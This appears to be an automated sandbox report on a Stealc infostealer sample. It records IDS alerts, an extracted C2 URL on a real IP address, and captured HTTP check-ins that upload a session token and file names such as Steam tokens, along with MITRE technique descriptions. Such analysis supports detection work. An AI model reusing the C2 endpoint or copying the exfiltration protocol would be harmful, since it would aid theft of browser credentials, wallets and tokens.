Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_005B9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_005C8EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 46 36 38 37 31 37 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"02D4F687177C932731780------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBFCBKFIDHIDHDHIEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="message"browsers------ECGDBFCBKFIDHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 2d 2d 0d 0a Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="message"plugins------IIEHJEHDBGHIDGDGHCBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"fplugins------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.37Content-Length: 6611Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCFHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file"------GDBAKEGIDBGIEBFHDHJJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="message"wallets------BKJEHCAKFBGDGCAAAFBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"files------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file"------HCBGDGCAAKJEBFIDBAAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"ybncbhylepme------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAAHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCBGDGCAAKJEBFIDBAAA--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
